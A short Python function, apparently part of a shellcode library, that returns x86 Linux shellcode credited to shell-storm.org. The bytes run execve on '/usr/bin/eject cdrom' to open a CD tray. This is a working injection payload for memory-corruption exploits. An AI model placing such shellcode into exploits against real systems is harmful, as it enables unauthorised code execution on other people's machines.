text: #http://shell-storm.org/shellcode/files/shellcode-621.php
  
  def cd_eject():
  
  	shellcode =  r"\x6a\x0b\x58\x99\x52\x6a\x6d\x68\x63\x64\x72\x6f\x89\xe1\x52"
  	shellcode += r"\x66\x68\x63\x74\x68\x2f\x65\x6a\x65\x68\x2f\x62\x69\x6e\x68"
  	shellcode += r"\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80\x40\xcd\x80"
  	return shellcode
  